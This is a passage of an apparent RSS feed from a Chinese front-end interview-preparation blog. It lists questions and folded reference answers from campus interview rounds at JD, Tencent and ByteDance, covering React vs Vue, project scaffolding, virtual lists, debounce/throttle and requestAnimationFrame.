&lt;li&gt;建议回答结构：我的前端启蒙与基础学习阶段 → 深入学习特定框架/技术 → 通过项目实践巩固与提升 → 持续学习与关注前沿技术。&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;我的前端学习路径可以分为几个阶段。最初，我对互联网技术充满好奇，通过[提及学习方式，例如：慕课网上的入门课程和MDN文档]开始了前端的启蒙。在这个阶段，我扎实掌握了HTML、CSS和JavaScript这&amp;quot;三驾马车&amp;quot;的基础知识，理解了DOM操作、盒模型、BFC等核心概念。为了更好地实践，我还搭建了一些简单的静态页面和交互功能，这让我对前端有了初步的认识。&lt;/p&gt;
&lt;p&gt;随着学习的深入，我意识到框架在大型项目开发中的重要性。我选择了[提及选择的框架，例如：React作为第一个深入学习的框架]，因为它在业界应用广泛且社区活跃。我通过[提及学习方式，例如：阅读官方文档、跟随开源项目教程，以及阅读《React设计模式与最佳实践》等书籍]，系统学习了React的组件化思想、生命周期、Hooks、状态管理（如Redux或Context API）等。为了融会贯通，我模仿并实现了一些[提及实践项目，例如：电商网站的商品详情页、用户管理后台界面]，并在其中积极实践了组件复用和性能优化。&lt;/p&gt;
&lt;p&gt;在掌握React后，我又学习了Vue，主要是为了拓宽技术栈，了解不同框架的设计哲学。通过对比学习，我能更好地理解它们在数据响应式、模板语法、生态系统等方面的差异，这让我在技术选型时能有更全面的考量。项目实践是检验学习成果的最佳方式，我总是尝试将所学知识应用到实际项目中，例如[提及具体项目中的实践，例如：在一个数据可视化项目中，我负责了图表组件的封装和数据渲染优化，并解决了跨域请求等问题]，通过解决实际问题来加深理解和提升能力。&lt;/p&gt;
&lt;p&gt;此外，我始终保持持续学习的习惯。我关注前端技术社区，如GitHub Trending、掘金、知乎专栏等，定期阅读技术博客和行业报告，了解最新的前端趋势和技术发展，比如[提及关注的新技术，例如：WebAssembly、微前端、Serverless等]。我认为前端技术发展迅速，只有不断学习和实践，才能保持竞争力。当遇到新的技术挑战时，我通常会先查阅官方文档，然后搜索相关的技术文章和社区讨论，如果依然无法解决，会向有经验的同事或社区前辈请教。这个过程不仅帮助我解决了问题，也锻炼了我独立思考和解决问题的能力。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-db69e6e99255"&gt;2. 你提到对React和Vue都了解，对比两者的差异？在项目中如何选择？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;框架基础掌握：确认候选人对React和Vue两大主流前端框架的核心概念、工作原理有深入理解。&lt;/li&gt;
&lt;li&gt;异同点辨析：考察候选人能否准确对比两者在数据管理、模板语法、生态系统等方面的差异。&lt;/li&gt;
&lt;li&gt;项目选型能力：评估候选人是否具备根据项目需求、团队情况等因素，合理选择技术栈的决策能力。&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h5 id="11-原理说明"&gt;1.1 原理说明&lt;/h5&gt;
&lt;p&gt;React和Vue都是目前主流的前端UI框架，用于构建用户界面。它们都采用了组件化的开发思想和虚拟DOM技术来提高开发效率和性能。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;React：&lt;/strong&gt; React是一个由Facebook开发的用于构建用户界面的JavaScript库。它强调&amp;quot;一次学习，随处编写&amp;quot;，以其声明式视图、组件化、以及单向数据流而闻名。React的核心是JSX（JavaScript XML），一种允许在JavaScript中编写类似HTML结构的语法，这使得UI的逻辑和视图紧密结合。React的更新机制是基于状态的变化，当组件状态更新时，React会创建一个新的虚拟DOM树，然后与旧的虚拟DOM树进行对比（diff算法），最后只更新真实DOM中发生变化的部分。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vue：&lt;/strong&gt; Vue是一个渐进式JavaScript框架，用于构建用户界面。它被设计为可以自底向上逐层应用。Vue的核心库只关注视图层，易于上手，同时也方便与其他库或现有项目整合。Vue的主要特点包括双向数据绑定、基于HTML的模板语法（也可以使用JSX）、组件化以及响应式系统。Vue的响应式系统基于&lt;code&gt;Object.defineProperty&lt;/code&gt;（Vue 2.x）或Proxy（Vue 3.x），能够追踪数据的变化并自动更新视图。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;相关概念之间的联系和区别：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;共同点：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;组件化：&lt;/strong&gt; 两者都提倡组件化开发，将UI拆分为独立的、可复用的组件。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;虚拟DOM：&lt;/strong&gt; 都使用虚拟DOM来提高性能，减少直接操作真实DOM的开销。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;响应式：&lt;/strong&gt; 都提供了响应式的数据绑定机制，数据变化时视图自动更新。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生态系统：&lt;/strong&gt; 都拥有庞大且活跃的社区，提供丰富的工具、库和插件。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;区别：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;数据流：&lt;/strong&gt; React推崇单向数据流（从父组件到子组件），而Vue支持双向数据绑定（v-model），使得表单处理等场景更为便捷。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;模板语法：&lt;/strong&gt; React倾向于使用JSX，将HTML和JS逻辑写在一起；Vue默认使用基于HTML的模板语法，通过指令（如&lt;code&gt;v-if&lt;/code&gt;, &lt;code&gt;v-for&lt;/code&gt;）增强HTML功能，也可以选择使用JSX或渲染函数。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;状态管理：&lt;/strong&gt; React通常结合Redux或Context API进行状态管理；Vue有官方的Vuex。两者都有各自的解决方案来管理复杂应用的状态。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;学习曲线：&lt;/strong&gt; 通常认为Vue的学习曲线相对平缓，对前端新手更友好；React由于其JSX和函数式编程的理念，可能需要一定的学习成本。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;性能优化：&lt;/strong&gt; Vue的响应式系统在很多情况下能自动进行细粒度的更新，减少开发者手动优化的工作；React的性能优化则更多依赖于&lt;code&gt;shouldComponentUpdate&lt;/code&gt;、&lt;code&gt;React.memo&lt;/code&gt;等手动优化手段。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="12-核心用法--示例代码如题目涉及"&gt;1.2 核心用法 + 示例代码（如题目涉及）&lt;/h5&gt;
&lt;p&gt;由于题目是对比差异和选择，这里主要通过对比说明其在项目中的选择场景：&lt;/p&gt;</description></item><item><title>京东-健康-校招 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-39/round-50/</link><pubDate>Sun, 06 Jul 2025 14:16:57 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-39/round-50/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-39/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮概述：&lt;/strong&gt; 中级偏上难度，适合有扎实基础和一定项目经验的应届生。既考察理论知识的深度，也注重实践能力的广度，需要候选人具备较强的学习能力和技术整合能力。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; ### 考察范围&lt;/p&gt;
&lt;p&gt;这轮校招面试主要考察四个维度：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;个人经历和项目实战&lt;/strong&gt;：通过学习经历、项目搭建、协作经验考察实际开发能力&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;移动端和多端开发&lt;/strong&gt;：小程序开发、多端适配、移动端优化等实用技能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;前端基础知识&lt;/strong&gt;：JavaScript核心概念、Vue框架原理、浏览器工作机制等&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;工程化和架构思维&lt;/strong&gt;：打包工具、插件开发、系统设计等高级能力&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="重点准备知识点"&gt;重点准备知识点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;项目经验的系统性总结和技术亮点提炼&lt;/li&gt;
&lt;li&gt;小程序开发框架和多端适配方案&lt;/li&gt;
&lt;li&gt;JavaScript作用域、变量提升等核心机制&lt;/li&gt;
&lt;li&gt;Vue组件通信、生命周期、插槽等框架特性&lt;/li&gt;
&lt;li&gt;前端性能优化和工程化实践&lt;/li&gt;
&lt;li&gt;实时通讯和AI集成的技术方案&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;本轮共 25 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-f826f1646088"&gt;1. 介绍自己的学习和实习经历&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;学习路径：从基础到框架的系统性学习过程&lt;/li&gt;
&lt;li&gt;实习经验：具体项目和技术栈的实践应用&lt;/li&gt;
&lt;li&gt;协作能力：与团队成员的配合和沟通经验&lt;/li&gt;
&lt;li&gt;技术深度：不仅会用还要理解原理的学习态度&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;在学习经历方面，计算机科学专业背景为前端开发奠定了扎实的理论基础。大学期间系统学习了数据结构、算法、计算机网络等核心课程，这些知识在后续的前端开发中发挥了重要作用。&lt;/p&gt;
&lt;p&gt;前端技术的学习路径比较系统，从HTML、CSS、JavaScript基础开始，逐步深入到现代前端框架。先掌握了Vue.js的基本用法，然后学习了React和小程序开发。在学习过程中特别注重实践，每学习一个新技术都会通过项目来巩固理解。&lt;/p&gt;
&lt;p&gt;实习经历主要集中在两个阶段。第一次实习主要负责公司官网的维护和功能迭代，使用Vue.js技术栈，参与了从需求分析到上线部署的完整流程。这个过程中学会了如何与产品经理、设计师协作，也了解了企业级项目的开发规范。&lt;/p&gt;
&lt;p&gt;第二次实习参与了一个移动端项目的开发，使用uni-app框架实现多端适配。在这个项目中主要负责用户中心模块的开发，包括登录注册、个人信息管理、订单查询等功能。通过这次实习深入了解了移动端开发的特点和挑战。&lt;/p&gt;
&lt;p&gt;在学习和实习过程中，特别注重技术深度的挖掘。不仅学会了如何使用各种技术，更重要的是理解了技术背后的原理。比如学习Vue时，会去了解响应式系统的实现机制；学习webpack时，会研究打包优化的各种策略。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-e7ff151b31f9"&gt;2. 讲一下你的项目搭建过程，用到了哪个脚手架，有没有做其他工作？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;脚手架选择：Vue CLI vs Vite的适用场景和特点&lt;/li&gt;
&lt;li&gt;配置定制：代码规范、构建优化、环境管理&lt;/li&gt;
&lt;li&gt;开发规范：团队协作的标准化流程&lt;/li&gt;
&lt;li&gt;工程化实践：组件库、测试、部署等完整流程&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;项目搭建通常会根据具体需求选择合适的脚手架工具。对于Vue项目，主要使用Vue CLI和Vite两种方案。Vue CLI适合需要复杂配置的企业级项目，提供了完整的插件生态和配置选项。Vite则适合快速开发，启动速度更快，热更新体验更好。&lt;/p&gt;
&lt;p&gt;具体的搭建流程包括几个关键步骤。首先是技术栈选择，根据项目需求确定使用的框架、UI库、状态管理方案等。然后使用脚手架创建基础项目结构，配置开发环境和构建流程。&lt;/p&gt;
&lt;p&gt;在基础搭建完成后，会进行一系列的定制化配置。包括配置ESLint和Prettier确保代码质量，设置路由和状态管理的基础结构，配置axios拦截器处理API请求，设置环境变量管理不同环境的配置。&lt;/p&gt;
&lt;p&gt;还会建立项目的开发规范，包括目录结构规范、组件命名规范、Git提交规范等。这些规范对于团队协作非常重要，能够保证代码的一致性和可维护性。&lt;/p&gt;
&lt;p&gt;在构建优化方面，会配置代码分割、压缩、缓存等策略。对于生产环境，还会配置CDN、Gzip压缩、性能监控等。这些配置虽然不是核心业务逻辑，但对项目的性能和稳定性有重要影响。&lt;/p&gt;
&lt;p&gt;除了技术层面的工作，还会考虑项目的可持续发展。比如建立组件库，提取公共组件和工具函数；配置自动化测试，保证代码质量；建立CI/CD流程，实现自动化部署。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-305821e25fdd"&gt;3. 讲一下你在学校参与的协作项目&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;项目背景：技术栈选择和架构设计&lt;/li&gt;
&lt;li&gt;个人职责：具体负责的模块和功能实现&lt;/li&gt;
&lt;li&gt;协作流程：Git管理、代码审查、敏捷开发&lt;/li&gt;
&lt;li&gt;问题解决：接口对接、代码规范等实际挑战&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;在学校期间参与了一个在线学习平台的开发项目，这是一个5人团队的协作项目，持续了一个学期。项目采用前后端分离的架构，前端使用Vue.js，后端使用Node.js。&lt;/p&gt;
&lt;p&gt;在项目中主要负责用户管理和课程展示模块的开发。用户管理包括注册登录、个人信息维护、学习进度跟踪等功能。课程展示模块需要支持视频播放、课件下载、评论互动等复杂功能。&lt;/p&gt;
&lt;p&gt;团队协作方面，使用Git进行版本控制，建立了完整的分支管理策略。主分支用于生产环境，开发分支用于功能集成，每个人都有自己的特性分支。通过Pull Request的方式进行代码审查，确保代码质量。&lt;/p&gt;
&lt;p&gt;项目管理使用敏捷开发方法，每周进行一次迭代规划，每天有简短的站会同步进度。使用Trello进行任务管理，每个功能都有明确的负责人和完成时间。&lt;/p&gt;</description></item><item><title>腾讯-QQ浏览器-校招 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-38/round-49/</link><pubDate>Sun, 06 Jul 2025 13:37:36 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-38/round-49/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-38/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮概述：&lt;/strong&gt; &lt;strong&gt;中高级难度&lt;/strong&gt;。既有基础概念的深度考察，也有复杂业务场景的解决方案设计，对于校招同学有一定的挑战。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; ### 考察范围&lt;/p&gt;
&lt;p&gt;这轮面试主要考察三个维度：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;项目实战能力&lt;/strong&gt;：通过虚拟列表、Token管理等具体技术方案考察解决复杂业务问题的能力&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;前端基础功底&lt;/strong&gt;：涵盖浏览器原理、JavaScript核心机制、CSS布局、性能优化等核心知识&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;计算机基础&lt;/strong&gt;：通过算法题考察数据结构和算法基础&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="重点准备知识点"&gt;重点准备知识点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;虚拟列表等性能优化方案的深度理解和实践经验&lt;/li&gt;
&lt;li&gt;HTTP协议、浏览器工作原理、缓存机制等网络基础&lt;/li&gt;
&lt;li&gt;JavaScript事件循环、闭包、原型链等语言核心特性&lt;/li&gt;
&lt;li&gt;Vue/React框架原理，特别是响应式系统和虚拟DOM&lt;/li&gt;
&lt;li&gt;CSS布局方案和BFC等核心概念&lt;/li&gt;
&lt;li&gt;前端工程化和性能优化实践&lt;/li&gt;
&lt;li&gt;基础算法和数据结构&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="建议"&gt;建议&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;深入理解前端核心概念，不仅知其然还要知其所以然&lt;/li&gt;
&lt;li&gt;积累实际项目经验，特别是性能优化和复杂业务场景的解决方案&lt;/li&gt;
&lt;li&gt;保持对新技术的敏感度，了解技术发展趋势&lt;/li&gt;
&lt;li&gt;加强计算机基础，算法和数据结构是技术能力的重要体现&lt;/li&gt;
&lt;li&gt;培养系统性思维，能够从多个角度分析和解决问题&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;本轮共 20 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-fbe5211ce8dc"&gt;1. 请讲一下你项目中的的虚拟列表，包括实现原理、优化过程以及如何设置缓冲区？&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;核心原理：只渲染可视区域，动态计算显示范围&lt;/li&gt;
&lt;li&gt;关键技术：滚动监听、索引计算、位置缓存&lt;/li&gt;
&lt;li&gt;优化重点：动态高度处理、缓冲区设置、滚动性能&lt;/li&gt;
&lt;li&gt;实际考虑：内存占用与性能平衡&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;虚拟列表是解决大数据量列表渲染性能问题的核心方案。其实现原理基于&amp;quot;只渲染可视区域&amp;quot;的思想。&lt;/p&gt;
&lt;p&gt;具体实现上，首先需要确定容器的可视高度和每个列表项的高度。通过监听滚动事件，实时计算当前滚动位置对应的起始索引和结束索引。核心公式是：起始索引 = Math.floor(scrollTop / itemHeight)，结束索引 = 起始索引 + Math.ceil(containerHeight / itemHeight)。&lt;/p&gt;
&lt;p&gt;在优化过程中遇到的主要挑战是处理动态高度的列表项。解决方案是维护一个位置缓存数组，记录每个列表项的实际高度和累计偏移量。当列表项高度发生变化时，需要更新缓存并重新计算后续项的位置。&lt;/p&gt;
&lt;p&gt;缓冲区设置是性能优化的关键。通常在可视区域前后各增加5-10个列表项作为缓冲，具体数量需要根据列表项的复杂度和渲染耗时来调整。缓冲区过小会导致快速滚动时出现白屏，过大则会增加内存占用和渲染负担。&lt;/p&gt;
&lt;p&gt;对于滚动性能优化，还需要结合防抖节流、requestAnimationFrame等技术，确保滚动的流畅性。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-2e4835cecc28"&gt;2. 在虚拟列表中，如何结合防抖和节流技术优化性能？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;节流应用：滚动事件实时响应，保证连续性操作的流畅度&lt;/li&gt;
&lt;li&gt;防抖应用：计算密集操作、数据预加载等非实时场景&lt;/li&gt;
&lt;li&gt;组合策略：根据不同操作特性选择合适的优化方案&lt;/li&gt;
&lt;li&gt;参数调优：时间间隔需要平衡性能和用户体验&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;在虚拟列表的性能优化中，防抖和节流扮演着不同但互补的角色。&lt;/p&gt;
&lt;p&gt;对于滚动事件本身，节流是更合适的选择。因为滚动是连续性操作，用户期望得到实时反馈，而不是等待操作结束后才响应。通常设置16-33ms的节流间隔，对应60-30fps的更新频率，既保证了流畅度又避免了过度计算。&lt;/p&gt;
&lt;p&gt;防抖则主要用于一些计算密集型的操作。比如当滚动停止后，可能需要进行数据预加载、图片懒加载等操作，这些可以使用防抖来避免频繁触发。另外，对于搜索框结合虚拟列表的场景，搜索关键词的处理也适合使用防抖。&lt;/p&gt;
&lt;p&gt;在实际实现中，还需要考虑组合使用的场景。比如可以对滚动事件使用节流进行实时响应，同时对复杂的重新计算逻辑使用防抖进行优化。这样既保证了用户体验，又避免了不必要的性能消耗。&lt;/p&gt;
&lt;p&gt;需要注意的是，节流和防抖的时间设置需要根据具体业务场景调整，过短可能达不到优化效果，过长则会影响用户体验。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-07425dedaf84"&gt;3. 如何使用 requestAnimationFrame 优化虚拟列表的滚动性能？&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;核心优势：与浏览器重绘周期同步，避免无效渲染&lt;/li&gt;
&lt;li&gt;应用场景：DOM更新调度、动画优化、时间切片&lt;/li&gt;
&lt;li&gt;性能提升：减少重排重绘、合并多次操作、避免掉帧&lt;/li&gt;
&lt;li&gt;注意事项：刷新率适配、兼容性考虑&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;requestAnimationFrame是浏览器提供的专门用于动画优化的API，它能够确保回调函数在浏览器下一次重绘之前执行，这对虚拟列表的滚动性能优化具有重要意义。&lt;/p&gt;</description></item><item><title>腾讯-暑期实习 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-37/round-48/</link><pubDate>Sun, 29 Jun 2025 13:39:17 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-37/round-48/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-37/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 主要几种在以下几个方向：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;vue3原理&lt;/li&gt;
&lt;li&gt;前端工程化：webpack、vite、pnpm、monorepo&lt;/li&gt;
&lt;li&gt;前端安全&lt;/li&gt;
&lt;li&gt;计算机网络&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;本轮共 21 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-20e6c69e8673"&gt;1. JSON数组扁平化&amp;amp;数据过滤&lt;/h2&gt;
&lt;p&gt;假设有一个模拟接口 &lt;code&gt;fetchData()&lt;/code&gt;，返回 Promise 对象，数据格式为：&lt;br&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; { &lt;span style="color:#f92672"&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#f92672"&gt;&amp;#34;value&amp;#34;&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; { &lt;span style="color:#f92672"&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;, &lt;span style="color:#f92672"&gt;&amp;#34;value&amp;#34;&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;, &lt;span style="color:#f92672"&gt;&amp;#34;children&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; { &lt;span style="color:#f92672"&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;, &lt;span style="color:#f92672"&gt;&amp;#34;value&amp;#34;&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt; } ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;要求：&lt;br&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;将接口返回的嵌套数据结构扁平化为一维数组&lt;/strong&gt;；&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;筛选出 &lt;strong&gt;&lt;code&gt;value&lt;/code&gt;&lt;/strong&gt; 大于等于 8 的元素&lt;/strong&gt;；&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;按 &lt;strong&gt;&lt;code&gt;id&lt;/code&gt;&lt;/strong&gt; 升序排列后，渲染为 &lt;strong&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt;&lt;/strong&gt; 列表&lt;/strong&gt;。&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;示例输出：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;ul&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;li&lt;/span&gt;&amp;gt;id:2, value:10&amp;lt;/&lt;span style="color:#f92672"&gt;li&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;li&lt;/span&gt;&amp;gt;id:3, value:8&amp;lt;/&lt;span style="color:#f92672"&gt;li&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;ul&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;递归与数据结构处理&lt;/strong&gt;：考查候选人是否理解如何处理嵌套结构。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数组操作基础&lt;/strong&gt;：filter/sort/map 等高阶方法掌握情况。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;异步处理能力&lt;/strong&gt;：是否熟悉 &lt;code&gt;Promise&lt;/code&gt; 的使用。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原生 DOM 操作&lt;/strong&gt;：不用框架的情况下渲染 HTML。&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h5 id="11-原理说明"&gt;1.1 原理说明&lt;/h5&gt;
&lt;p&gt;此题本质是一个数据处理与 DOM 渲染综合题，目标包括：&lt;/p&gt;</description></item><item><title>字节-今日头条-校招 · 第 1 轮 · 三面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-36/round-47/</link><pubDate>Fri, 27 Jun 2025 08:02:46 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-36/round-47/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-36/round-46/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-36/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本次面试主要考察候选人的项目经验、技术深度与广度，以及解决实际问题的能力和算法基础。&lt;/p&gt;
&lt;p&gt;本轮共 16 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-24194e2f96e7"&gt;1. 介绍一下实习项目的业务背景&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;● 该题是主观型问题，不设&amp;quot;唯一标准答案&amp;quot;。
● 面试官主要考察答题者能否清晰、有条理地阐述复杂业务，并展现其系统性思考和沟通表达能力。
● 建议的答题结构是：首先概述项目所属行业与核心痛点，接着阐述项目目标与解决方案，最后简要提及项目成果及个人职责。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h5 id="高质量参考范文"&gt;高质量参考范文：&lt;/h5&gt;
